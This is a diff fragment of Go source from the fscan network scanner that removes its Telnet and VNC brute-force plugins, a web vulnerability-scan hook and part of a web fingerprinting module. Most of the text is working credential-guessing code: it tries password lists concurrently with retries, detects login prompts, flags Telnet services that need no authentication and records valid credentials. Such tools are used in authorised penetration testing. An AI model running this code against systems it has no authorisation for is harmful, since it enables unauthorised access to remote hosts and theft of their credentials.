|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && (result.Success || result.NoAuth) {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("Telnet并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryTelnetCredential 尝试单个Telnet凭据
|
||||
func tryTelnetCredential(ctx context.Context, info *Common.HostInfo, credential TelnetCredential, timeoutSeconds int64, maxRetries int) *TelnetScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &TelnetScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
// 创建结果通道
|
||||
resultChan := make(chan struct {
|
||||
success bool
|
||||
noAuth bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
// 设置单个连接超时
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
go func() {
|
||||
defer cancel()
|
||||
noAuth, err := telnetConnWithContext(connCtx, info, credential.Username, credential.Password)
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
// 连接已超时或取消
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
noAuth bool
|
||||
err error
|
||||
}{err == nil, noAuth, err}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或超时
|
||||
var success bool
|
||||
var noAuth bool
|
||||
var err error
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
success = result.success
|
||||
noAuth = result.noAuth
|
||||
err = result.err
|
||||
case <-connCtx.Done():
|
||||
if ctx.Err() != nil {
|
||||
// 全局超时
|
||||
return &TelnetScanResult{
|
||||
Success: false,
|
||||
Error: ctx.Err(),
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
// 单个连接超时
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if noAuth {
|
||||
return &TelnetScanResult{
|
||||
Success: false,
|
||||
NoAuth: true,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
if success {
|
||||
return &TelnetScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &TelnetScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// telnetConnWithContext 带上下文的Telnet连接尝试
|
||||
func telnetConnWithContext(ctx context.Context, info *Common.HostInfo, user, pass string) (bool, error) {
|
||||
// 创建TCP连接(使用上下文控制)
|
||||
var d net.Dialer
|
||||
conn, err := d.DialContext(ctx, "tcp", fmt.Sprintf("%s:%s", info.Host, info.Ports))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
client := &TelnetClient{
|
||||
IPAddr: info.Host,
|
||||
Port: info.Ports,
|
||||
UserName: user,
|
||||
Password: pass,
|
||||
conn: conn,
|
||||
}
|
||||
|
||||
// 设置连接关闭
|
||||
defer client.Close()
|
||||
|
||||
// 检查上下文是否已取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return false, ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
// 初始化连接
|
||||
client.init()
|
||||
|
||||
client.ServerType = client.MakeServerType()
|
||||
|
||||
if client.ServerType == UnauthorizedAccess {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
err = client.Login()
|
||||
return false, err
|
||||
}
|
||||
|
||||
// saveTelnetResult 保存Telnet扫描结果
|
||||
func saveTelnetResult(info *Common.HostInfo, target string, result *TelnetScanResult) {
|
||||
var successMsg string
|
||||
var details map[string]interface{}
|
||||
|
||||
if result.NoAuth {
|
||||
successMsg = fmt.Sprintf("Telnet服务 %s 无需认证", target)
|
||||
details = map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "telnet",
|
||||
"type": "unauthorized-access",
|
||||
}
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("Telnet服务 %s 用户名:%v 密码:%v",
|
||||
target, result.Credential.Username, result.Credential.Password)
|
||||
details = map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "telnet",
|
||||
"type": "weak-password",
|
||||
"username": result.Credential.Username,
|
||||
"password": result.Credential.Password,
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
}
|
||||
|
||||
// TelnetClient Telnet客户端结构体
|
||||
type TelnetClient struct {
|
||||
IPAddr string // 服务器IP地址
|
||||
Port string // 服务器端口
|
||||
UserName string // 用户名
|
||||
Password string // 密码
|
||||
conn net.Conn // 网络连接
|
||||
LastResponse string // 最近一次响应内容
|
||||
ServerType int // 服务器类型
|
||||
}
|
||||
|
||||
// init 初始化Telnet连接
|
||||
func (c *TelnetClient) init() {
|
||||
// 启动后台goroutine处理服务器响应
|
||||
go func() {
|
||||
for {
|
||||
// 读取服务器响应
|
||||
buf, err := c.read()
|
||||
if err != nil {
|
||||
// 处理连接关闭和EOF情况
|
||||
if strings.Contains(err.Error(), "closed") ||
|
||||
strings.Contains(err.Error(), "EOF") {
|
||||
break
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
// 处理响应数据
|
||||
displayBuf, commandList := c.SerializationResponse(buf)
|
||||
|
||||
if len(commandList) > 0 {
|
||||
// 有命令需要回复
|
||||
replyBuf := c.MakeReplyFromList(commandList)
|
||||
c.LastResponse += string(displayBuf)
|
||||
_ = c.write(replyBuf)
|
||||
} else {
|
||||
// 仅保存显示内容
|
||||
c.LastResponse += string(displayBuf)
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待连接初始化完成
|
||||
time.Sleep(time.Second * 2)
|
||||
}
|
||||
|
||||
// WriteContext 写入数据到Telnet连接
|
||||
func (c *TelnetClient) WriteContext(s string) {
|
||||
// 写入字符串并添加回车及空字符
|
||||
_ = c.write([]byte(s + "\x0d\x00"))
|
||||
}
|
||||
|
||||
// ReadContext 读取Telnet连接返回的内容
|
||||
func (c *TelnetClient) ReadContext() string {
|
||||
// 读取完成后清空缓存
|
||||
defer func() { c.Clear() }()
|
||||
|
||||
// 等待响应
|
||||
if c.LastResponse == "" {
|
||||
time.Sleep(time.Second)
|
||||
}
|
||||
|
||||
// 处理特殊字符
|
||||
c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x00", "")
|
||||
c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x0a", "\n")
|
||||
|
||||
return c.LastResponse
|
||||
}
|
||||
|
||||
// Netloc 获取网络地址字符串
|
||||
func (c *TelnetClient) Netloc() string {
|
||||
return fmt.Sprintf("%s:%s", c.IPAddr, c.Port)
|
||||
}
|
||||
|
||||
// Close 关闭Telnet连接
|
||||
func (c *TelnetClient) Close() {
|
||||
if c.conn != nil {
|
||||
c.conn.Close()
|
||||
}
|
||||
}
|
||||
|
||||
// SerializationResponse 解析Telnet响应数据
|
||||
func (c *TelnetClient) SerializationResponse(responseBuf []byte) (displayBuf []byte, commandList [][]byte) {
|
||||
for {
|
||||
// 查找IAC命令标记
|
||||
index := bytes.IndexByte(responseBuf, IAC)
|
||||
if index == -1 || len(responseBuf)-index < 2 {
|
||||
displayBuf = append(displayBuf, responseBuf...)
|
||||
break
|
||||
}
|
||||
|
||||
// 获取选项字符
|
||||
ch := responseBuf[index+1]
|
||||
|
||||
// 处理连续的IAC
|
||||
if ch == IAC {
|
||||
displayBuf = append(displayBuf, responseBuf[:index]...)
|
||||
responseBuf = responseBuf[index+1:]
|
||||
continue
|
||||
}
|
||||
|
||||
// 处理DO/DONT/WILL/WONT命令
|
||||
if ch == DO || ch == DONT || ch == WILL || ch == WONT {
|
||||
commandBuf := responseBuf[index : index+3]
|
||||
commandList = append(commandList, commandBuf)
|
||||
displayBuf = append(displayBuf, responseBuf[:index]...)
|
||||
responseBuf = responseBuf[index+3:]
|
||||
continue
|
||||
}
|
||||
|
||||
// 处理子协商命令
|
||||
if ch == SB {
|
||||
displayBuf = append(displayBuf, responseBuf[:index]...)
|
||||
seIndex := bytes.IndexByte(responseBuf, SE)
|
||||
if seIndex != -1 && seIndex > index {
|
||||
commandList = append(commandList, responseBuf[index:seIndex+1])
|
||||
responseBuf = responseBuf[seIndex+1:]
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
break
|
||||
}
|
||||
|
||||
return displayBuf, commandList
|
||||
}
|
||||
|
||||
// MakeReplyFromList 处理命令列表并生成回复
|
||||
func (c *TelnetClient) MakeReplyFromList(list [][]byte) []byte {
|
||||
var reply []byte
|
||||
for _, command := range list {
|
||||
reply = append(reply, c.MakeReply(command)...)
|
||||
}
|
||||
return reply
|
||||
}
|
||||
|
||||
// MakeReply 根据命令生成对应的回复
|
||||
func (c *TelnetClient) MakeReply(command []byte) []byte {
|
||||
// 命令至少需要3字节
|
||||
if len(command) < 3 {
|
||||
return []byte{}
|
||||
}
|
||||
|
||||
verb := command[1] // 动作类型
|
||||
option := command[2] // 选项码
|
||||
|
||||
// 处理回显(ECHO)和抑制继续进行(SGA)选项
|
||||
if option == ECHO || option == SGA {
|
||||
switch verb {
|
||||
case DO:
|
||||
return []byte{IAC, WILL, option}
|
||||
case DONT:
|
||||
return []byte{IAC, WONT, option}
|
||||
case WILL:
|
||||
return []byte{IAC, DO, option}
|
||||
case WONT:
|
||||
return []byte{IAC, DONT, option}
|
||||
case SB:
|
||||
// 处理子协商命令
|
||||
// 命令格式: IAC + SB + option + modifier + IAC + SE
|
||||
if len(command) >= 4 {
|
||||
modifier := command[3]
|
||||
if modifier == ECHO {
|
||||
return []byte{IAC, SB, option, BINARY, IAC, SE}
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// 处理其他选项 - 拒绝所有请求
|
||||
switch verb {
|
||||
case DO, DONT:
|
||||
return []byte{IAC, WONT, option}
|
||||
case WILL, WONT:
|
||||
return []byte{IAC, DONT, option}
|
||||
}
|
||||
}
|
||||
|
||||
return []byte{}
|
||||
}
|
||||
|
||||
// read 从Telnet连接读取数据
|
||||
func (c *TelnetClient) read() ([]byte, error) {
|
||||
var buf [2048]byte
|
||||
// 设置读取超时为2秒
|
||||
_ = c.conn.SetReadDeadline(time.Now().Add(time.Second * 2))
|
||||
n, err := c.conn.Read(buf[0:])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return buf[:n], nil
|
||||
}
|
||||
|
||||
// write 向Telnet连接写入数据
|
||||
func (c *TelnetClient) write(buf []byte) error {
|
||||
// 设置写入超时
|
||||
_ = c.conn.SetWriteDeadline(time.Now().Add(time.Second * 3))
|
||||
|
||||
_, err := c.conn.Write(buf)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// 写入后短暂延迟,让服务器有时间处理
|
||||
time.Sleep(TIME_DELAY_AFTER_WRITE)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Login 根据服务器类型执行登录
|
||||
func (c *TelnetClient) Login() error {
|
||||
switch c.ServerType {
|
||||
case Closed:
|
||||
return errors.New("service is disabled")
|
||||
case UnauthorizedAccess:
|
||||
return nil
|
||||
case OnlyPassword:
|
||||
return c.LogBaserOnlyPassword()
|
||||
case UsernameAndPassword:
|
||||
return c.LogBaserUsernameAndPassword()
|
||||
default:
|
||||
return errors.New("unknown server type")
|
||||
}
|
||||
}
|
||||
|
||||
// MakeServerType 通过分析服务器响应判断服务器类型
|
||||
func (c *TelnetClient) MakeServerType() int {
|
||||
responseString := c.ReadContext()
|
||||
|
||||
// 空响应情况
|
||||
if responseString == "" {
|
||||
return Closed
|
||||
}
|
||||
|
||||
response := strings.Split(responseString, "\n")
|
||||
if len(response) == 0 {
|
||||
return Closed
|
||||
}
|
||||
|
||||
lastLine := strings.ToLower(response[len(response)-1])
|
||||
|
||||
// 检查是否需要用户名和密码
|
||||
if containsAny(lastLine, []string{"user", "name", "login", "account", "用户名", "登录"}) {
|
||||
return UsernameAndPassword
|
||||
}
|
||||
|
||||
// 检查是否只需要密码
|
||||
if strings.Contains(lastLine, "pass") {
|
||||
return OnlyPassword
|
||||
}
|
||||
|
||||
// 检查是否无需认证的情况
|
||||
if isNoAuthRequired(lastLine) || c.isLoginSucceed(responseString) {
|
||||
return UnauthorizedAccess
|
||||
}
|
||||
|
||||
return Closed
|
||||
}
|
||||
|
||||
// 辅助函数:检查字符串是否包含任意给定子串
|
||||
func containsAny(s string, substrings []string) bool {
|
||||
for _, sub := range substrings {
|
||||
if strings.Contains(s, sub) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// 辅助函数:检查是否无需认证
|
||||
func isNoAuthRequired(line string) bool {
|
||||
patterns := []string{
|
||||
`^/ #.*`,
|
||||
`^<[A-Za-z0-9_]+>`,
|
||||
`^#`,
|
||||
}
|
||||
|
||||
for _, pattern := range patterns {
|
||||
if regexp.MustCompile(pattern).MatchString(line) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// LogBaserOnlyPassword 处理只需密码的登录
|
||||
func (c *TelnetClient) LogBaserOnlyPassword() error {
|
||||
c.Clear() // 清空之前的响应
|
||||
|
||||
// 发送密码并等待响应
|
||||
c.WriteContext(c.Password)
|
||||
time.Sleep(time.Second * 2)
|
||||
|
||||
// 验证登录结果
|
||||
responseString := c.ReadContext()
|
||||
if c.isLoginFailed(responseString) {
|
||||
return errors.New("login failed")
|
||||
}
|
||||
if c.isLoginSucceed(responseString) {
|
||||
return nil
|
||||
}
|
||||
|
||||
return errors.New("login failed")
|
||||
}
|
||||
|
||||
// LogBaserUsernameAndPassword 处理需要用户名和密码的登录
|
||||
func (c *TelnetClient) LogBaserUsernameAndPassword() error {
|
||||
// 发送用户名
|
||||
c.WriteContext(c.UserName)
|
||||
time.Sleep(time.Second * 2)
|
||||
c.Clear()
|
||||
|
||||
// 发送密码
|
||||
c.WriteContext(c.Password)
|
||||
time.Sleep(time.Second * 3)
|
||||
|
||||
// 验证登录结果
|
||||
responseString := c.ReadContext()
|
||||
if c.isLoginFailed(responseString) {
|
||||
return errors.New("login failed")
|
||||
}
|
||||
if c.isLoginSucceed(responseString) {
|
||||
return nil
|
||||
}
|
||||
|
||||
return errors.New("login failed")
|
||||
}
|
||||
|
||||
// Clear 清空最近一次响应
|
||||
func (c *TelnetClient) Clear() {
|
||||
c.LastResponse = ""
|
||||
}
|
||||
|
||||
// 登录失败的关键词列表
|
||||
var loginFailedString = []string{
|
||||
"wrong",
|
||||
"invalid",
|
||||
"fail",
|
||||
"incorrect",
|
||||
"error",
|
||||
}
|
||||
|
||||
// isLoginFailed 检查是否登录失败
|
||||
func (c *TelnetClient) isLoginFailed(responseString string) bool {
|
||||
responseString = strings.ToLower(responseString)
|
||||
|
||||
// 空响应视为失败
|
||||
if responseString == "" {
|
||||
return true
|
||||
}
|
||||
|
||||
// 检查失败关键词
|
||||
for _, str := range loginFailedString {
|
||||
if strings.Contains(responseString, str) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// 检查是否仍在要求输入凭证
|
||||
patterns := []string{
|
||||
"(?is).*pass(word)?:$",
|
||||
"(?is).*user(name)?:$",
|
||||
"(?is).*login:$",
|
||||
}
|
||||
for _, pattern := range patterns {
|
||||
if regexp.MustCompile(pattern).MatchString(responseString) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// isLoginSucceed 检查是否登录成功
|
||||
func (c *TelnetClient) isLoginSucceed(responseString string) bool {
|
||||
// 空响应视为失败
|
||||
if responseString == "" {
|
||||
return false
|
||||
}
|
||||
|
||||
// 获取最后一行响应
|
||||
lines := strings.Split(responseString, "\n")
|
||||
if len(lines) == 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
lastLine := lines[len(lines)-1]
|
||||
|
||||
// 检查命令提示符
|
||||
if regexp.MustCompile("^[#$>].*").MatchString(lastLine) ||
|
||||
regexp.MustCompile("^<[a-zA-Z0-9_]+>.*").MatchString(lastLine) {
|
||||
return true
|
||||
}
|
||||
|
||||
// 检查last login信息
|
||||
if regexp.MustCompile("(?:s)last login").MatchString(responseString) {
|
||||
return true
|
||||
}
|
||||
|
||||
// 发送测试命令验证
|
||||
c.Clear()
|
||||
c.WriteContext("?")
|
||||
time.Sleep(time.Second * 2)
|
||||
responseString = c.ReadContext()
|
||||
|
||||
// 检查响应长度
|
||||
if strings.Count(responseString, "\n") > 6 || len([]rune(responseString)) > 100 {
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// Telnet协议常量定义
|
||||
const (
|
||||
// 写入操作后的延迟时间
|
||||
TIME_DELAY_AFTER_WRITE = 300 * time.Millisecond
|
||||
|
||||
// Telnet基础控制字符
|
||||
IAC = byte(255) // 解释为命令(Interpret As Command)
|
||||
DONT = byte(254) // 请求对方停止执行某选项
|
||||
DO = byte(253) // 请求对方执行某选项
|
||||
WONT = byte(252) // 拒绝执行某选项
|
||||
WILL = byte(251) // 同意执行某选项
|
||||
|
||||
// 子协商相关控制字符
|
||||
SB = byte(250) // 子协商开始(Subnegotiation Begin)
|
||||
SE = byte(240) // 子协商结束(Subnegotiation End)
|
||||
|
||||
// 特殊功能字符
|
||||
NULL = byte(0) // 空字符
|
||||
EOF = byte(236) // 文档结束
|
||||
SUSP = byte(237) // 暂停进程
|
||||
ABORT = byte(238) // 停止进程
|
||||
REOR = byte(239) // 记录结束
|
||||
|
||||
// Telnet选项代码
|
||||
BINARY = byte(0) // 8位数据通道
|
||||
ECHO = byte(1) // 回显
|
||||
SGA = byte(3) // 禁止继续
|
||||
|
||||
// 服务器类型常量定义
|
||||
Closed = iota // 连接关闭
|
||||
UnauthorizedAccess // 无需认证
|
||||
OnlyPassword // 仅需密码
|
||||
UsernameAndPassword // 需要用户名和密码
|
||||
)
|
||||
-274
@@ -1,274 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/mitchellh/go-vnc"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// VncCredential 表示VNC凭据
|
||||
type VncCredential struct {
|
||||
Password string
|
||||
}
|
||||
|
||||
// VncScanResult 表示VNC扫描结果
|
||||
type VncScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Credential VncCredential
|
||||
}
|
||||
|
||||
func VncScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 构建密码列表
|
||||
var credentials []VncCredential
|
||||
for _, pass := range Common.Passwords {
|
||||
credentials = append(credentials, VncCredential{Password: pass})
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试密码组合 (总密码数: %d)", len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentVncScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
saveVncResult(info, target, result.Credential)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("VNC扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个密码", len(credentials)))
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// concurrentVncScan 并发扫描VNC服务
|
||||
func concurrentVncScan(ctx context.Context, info *Common.HostInfo, credentials []VncCredential, timeoutSeconds int64, maxRetries int) *VncScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *VncScanResult, 1)
|
||||
workChan := make(chan VncCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := tryVncCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", i+1, len(credentials), cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("VNC并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryVncCredential 尝试单个VNC凭据
|
||||
func tryVncCredential(ctx context.Context, info *Common.HostInfo, credential VncCredential, timeoutSeconds int64, maxRetries int) *VncScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &VncScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retry+1, credential.Password))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
// 创建连接超时上下文
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
success, err := VncConn(connCtx, info, credential.Password)
|
||||
cancel()
|
||||
|
||||
if success {
|
||||
return &VncScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &VncScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// VncConn 尝试建立VNC连接
|
||||
func VncConn(ctx context.Context, info *Common.HostInfo, pass string) (bool, error) {
|
||||
Host, Port := info.Host, info.Ports
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 使用带上下文的TCP连接
|
||||
var d net.Dialer
|
||||
conn, err := d.DialContext(ctx, "tcp", fmt.Sprintf("%s:%s", Host, Port))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置读写超时
|
||||
if err := conn.SetDeadline(time.Now().Add(timeout)); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 创建完成通道
|
||||
doneChan := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
// 在协程中处理VNC认证
|
||||
go func() {
|
||||
// 配置VNC客户端
|
||||
config := &vnc.ClientConfig{
|
||||
Auth: []vnc.ClientAuth{
|
||||
&vnc.PasswordAuth{
|
||||
Password: pass,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
// 尝试VNC认证
|
||||
client, err := vnc.Client(conn, config)
|
||||
if err != nil {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case doneChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{false, err}:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 认证成功
|
||||
defer client.Close()
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case doneChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{true, nil}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待认证结果或上下文取消
|
||||
select {
|
||||
case result := <-doneChan:
|
||||
return result.success, result.err
|
||||
case <-ctx.Done():
|
||||
return false, ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
// saveVncResult 保存VNC扫描结果
|
||||
func saveVncResult(info *Common.HostInfo, target string, credential VncCredential) {
|
||||
successLog := fmt.Sprintf("vnc://%s 密码: %v", target, credential.Password)
|
||||
Common.LogSuccess(successLog)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "vnc",
|
||||
"password": credential.Password,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
}
|
||||
@@ -1,15 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/shadow1ng/fscan/WebScan"
|
||||
)
|
||||
|
||||
// WebPoc 直接执行Web漏洞扫描
|
||||
func WebPoc(info *Common.HostInfo) error {
|
||||
if Common.DisablePocScan {
|
||||
return nil
|
||||
}
|
||||
WebScan.WebScan(info)
|
||||
return nil
|
||||
}
|
||||
@@ -1,553 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"compress/gzip"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/shadow1ng/fscan/WebScan"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
)
|
||||
|
||||
// 常量定义
|
||||
const (
|
||||
maxTitleLength = 100
|
||||
defaultProtocol = "http"
|
||||
httpsProtocol = "https"
|
||||
httpProtocol = "http"
|
||||
printerFingerPrint = "打印机"
|
||||
emptyTitle = "\"\""
|
||||
noTitleText = "无标题"
|
||||
|
||||
// HTTP相关常量
|
||||
httpPort = "80"
|
||||
httpsPort = "443"
|
||||
contentEncoding = "Content-Encoding"
|
||||
gzipEncoding = "gzip"
|
||||
contentLength = "Content-Length"
|
||||
)
|
||||
|
||||
// 错误定义
|
||||
var (
|
||||
ErrNoTitle = fmt.Errorf("无法获取标题")
|
||||
ErrHTTPClientInit = fmt.Errorf("HTTP客户端未初始化")
|
||||
ErrReadRespBody = fmt.Errorf("读取响应内容失败")
|
||||
)
|
||||
|
||||
// 响应结果
|
||||
type WebResponse struct {
|
||||
Url string
|
||||
StatusCode int
|
||||
Title string
|
||||
Length string
|
||||
Headers map[string]string
|
||||
RedirectUrl string
|
||||
Body []byte
|
||||
Error error
|
||||
}
|
||||
|
||||
// 协议检测结果
|
||||
type ProtocolResult struct {
|
||||
Protocol string
|
||||
Success bool
|
||||
}
|
||||
|
||||
// WebTitle 获取Web标题和指纹信息
|
||||
func WebTitle(info *Common.HostInfo) error {
|
||||
if info == nil {
|
||||
return fmt.Errorf("主机信息为空")
|
||||
}
|
||||
|
||||
// 初始化Url
|
||||
if err := initializeUrl(info); err != nil {
|
||||
Common.LogError(fmt.Sprintf("初始化Url失败: %v", err))
|
||||
return err
|
||||
}
|
||||
|
||||
// 获取网站标题信息
|
||||
checkData, err := fetchWebInfo(info)
|
||||
